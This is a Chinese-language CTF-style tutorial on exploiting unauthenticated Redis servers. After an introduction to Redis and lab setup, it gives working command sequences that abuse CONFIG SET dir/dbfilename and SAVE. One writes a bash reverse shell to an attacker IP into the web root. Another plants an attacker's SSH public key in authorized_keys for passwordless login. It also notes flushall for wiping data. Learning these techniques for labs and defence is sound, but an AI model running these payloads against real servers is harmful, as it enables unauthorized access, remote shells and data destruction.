1. 程式人生 > >CTF - WEB redis的簡介與利用

CTF - WEB redis的簡介與利用

        Redis是一個開源的使用ANSI C語言編寫、支援網路、可基於記憶體亦可持久化的日誌型、Key-Value資料庫,並提供多種語言的API。

        Redis 是一個高效能的key-value資料庫。 redis的出現,很大程度補償了memcached這類key/value儲存的不足,在部 分場合可以對關係資料庫起到很好的補充作用。              --百度

        Redis有著更為複雜的資料結構並且提供對他們的原子性操作,這是一個不同於其他資料庫的進化路徑。Redis的資料型別都是基於基本資料結構的同時對程式設計師透明,無需進行額外的抽象。

        Redis執行在記憶體中但是可以持久化到磁碟,所以在對不同資料集進行高速讀寫時需要權衡記憶體,因為資料量不能大於硬體記憶體。在記憶體資料庫方面的另一個優點是,相比在磁碟上相同的複雜的資料結構,在記憶體中操作起來非常簡單,這樣Redis可以做很多內部複雜性很強的事情。同時,在磁碟格式方面他們是緊湊的以追加的方式產生的,因為他們並不需要進行隨機訪問。      --菜鳥教程

 

大概的意思就是這是一個數據庫,儲存在記憶體中,可以與磁碟互動,並且支援遠端連線。Redis因配置不當可以未授權訪問,攻擊者無需認證訪問到內部資料,可導致敏感資訊洩露,也可以惡意執行flushall來清空所有資料。

 

        Redis在預設情況下,會繫結在0.0.0.0:6379。如果沒有采取相關的安全策略,比如新增防火牆規則、避免其他非信任來源IP訪問等,這樣會使Redis服務完全暴露在公網上。如果在沒有設定密碼認證(一般為空)的情況下,會導致任意使用者在訪問目標伺服器時,可以在未授權的情況下訪問Redis以及讀取Redis的資料。攻擊者在未授權訪問Redis的情況下,利用Redis自身的提供的config命令,可以進行檔案的讀寫等操作。攻擊者可以成功地將自己的ssh公鑰寫入到目標伺服器的 /root/.ssh資料夾下的authotrized_keys

檔案中,進而可以使用對應地私鑰直接使用ssh服務登入目標伺服器。

 

漏洞可能產生的危害:

  • 攻擊者無需認證訪問到內部資料,可能導致敏感資訊洩露,黑客也可以通過惡意執行flushall來清空所有資料

  • 攻擊者可通過EVAL執行lua程式碼,或通過資料備份功能往磁碟寫入後門檔案

  • 如果Redis以root身份執行,黑客可以給root賬戶寫入SSH公鑰檔案,直接通過SSH登入受害者伺服器

 

redis的安裝這裡就不多說了,以後可能會補充上來,下面是一些資料

    安裝方式見:https://www.cnblogs.com/limit1/p/9045183.html

    配置檔案引數說明:https://www.cnblogs.com/qq78292959/archive/2013/09/21/3331032.html

    其詳細配置過程可以參見:https://www.cnblogs.com/kreo/p/4423362.html

 

需要了解的一些點:

去掉ip繫結,允許除本地外的主機遠端登入redis,編輯etc中的redis配置檔案redis.conf

[email protected]:~/Desktop/redis-3.2.11$ vim /etc/redis.conf
------
#blind 127.0.0.1

 預設Redis會把快照檔案儲存為當前目錄下一個名為dump.rdb的檔案。

dbfilename dump.rdb

 關閉保護模式,允許遠端連線redis服務:

protected-mode no

使用當前redis.conf配置啟動redis服務

[email protected]:~/桌面/redis-3.2.11# redis-server /etc/redis.conf
//注意目錄 不在這個檔案下面 就要補全相應的目錄

二、安裝ssh服務

使用systemctl start sshd命令啟動自帶的ssh服務,沒有的話就需要安裝了

嘗試service sshd start命令,看有沒有安裝ssh:

fauked to start sshd.service: Unit sshd.service not found

如果出現上述結果,表示沒有安裝ssh服務,安裝方法如下:

sudo apt-get install openssh-server

再次執行以下命令確認ssh服務是否開啟:

ps -e  | ssh
最後顯示:3228 ? 00:00:00 sshd說明ssh伺服器已啟用

三.實驗開始

首先需要做的就是,ipconfig查一下我們redis伺服器的ip。ipconfig一下就可以

那麼我們使用另外一個機器登陸一下

redis基本命令 連線redis:

redis-cli -h 192.168.93.128
檢視redis版本資訊、一些具體資訊、伺服器版本資訊等等:
192.168.93.128:6379>info

將變數x的值設為test:

192.168.93.128:6379>set x "test"

是把整個redis資料庫刪除,一般情況下不要用!!!

192.168.93.128:6379>flushall

檢視所有鍵:

192.168.93.128:6379>KEYS *

獲取預設的redis目錄、和rdb檔名:可以在修改前先獲取,然後走的時候再恢復。

192.168.93.128:6379>CONFIG GET dir
192.168.93.128:6379>CONFIG GET dbfilename

儲存資料到備份目錄

192.168.93.128:6379>save

四 常見入侵方法

  1. 清空資料庫,並使用config get dir命令得到redis備份的路徑
  2. 更改備份目錄為我們的目標目錄
  3. 建立資料庫的兼鍵值對,將資料庫中的資料寫入檔案(也就是儲存我們的命令,資料)
  4. 恢復相關目錄等,而後就可以操作我們的檔案了

1.建立反彈shellde的方法

[email protected]:~/Desktop/test# redis-cli -h 192.168.93.128
192.168.93.128:6379> set x "bash -i >& /dev/tcp/192.168.93.170/7999 0>&1\n"
OK
192.168.93.128:6379> config set dir /var/www/html/
OK
192.168.93.128:6379> config set dbfilename ncshell
OK
192.168.93.128:6379> save
OK
192.168.93.128:6379> exit

//nc監聽埠已經反彈回來shell
nc -lvnp 7999

2 ssh免密連線

  1. 思路大體為建立一個本地的公私鑰,密碼為空
  2. 將公鑰檔案寫入到伺服器ssh目錄
  3. 免密登入

建立ssh公私鑰

ssh-keygen -t rsa  //會將結果在預設目錄

進入.ssh目錄:cd .ssh/,將生成的公鑰儲存到hack.txt

[email protected]:~/.ssh# (echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > hack.txt

將hack.txt寫入redis

[email protected]:~/.ssh# cat hack.txt | redis-cli -h 192.168.152.133 -x set crack
OK
//當然我們也可以先連線 然後讀取檔案再寫入
//注意資料庫不為空的話 需要清空flushall

//接下來就是更改備份目錄,將我們的檔案寫入到ssh目錄下

//2. 建立ssh私鑰連線
[email protected]:~/Desktop/test# redis-cli -h 192.168.93.128
192.168.93.128:6379> config get dir
1) "dir"
2) "/home/python/.ssh"
//更改redis備份路徑為ssh公鑰存放目錄 這個就是看情況了
//一般預設為/root/.ssh,這沒有登入root使用者,那麼預設路徑是/home/使用者名稱/.ssh,所以不需要更改)
//設定上傳公鑰的備份檔名字為authorized_keys
192.168.93.128:6379> config set dbfilename authorized_keys
OK
192.168.93.128:6379> save
OK
192.168.93.128:6379> exit

直接免密登入

[email protected]:~/.ssh# ssh -i id_rsa [email protected]

可以成功登入了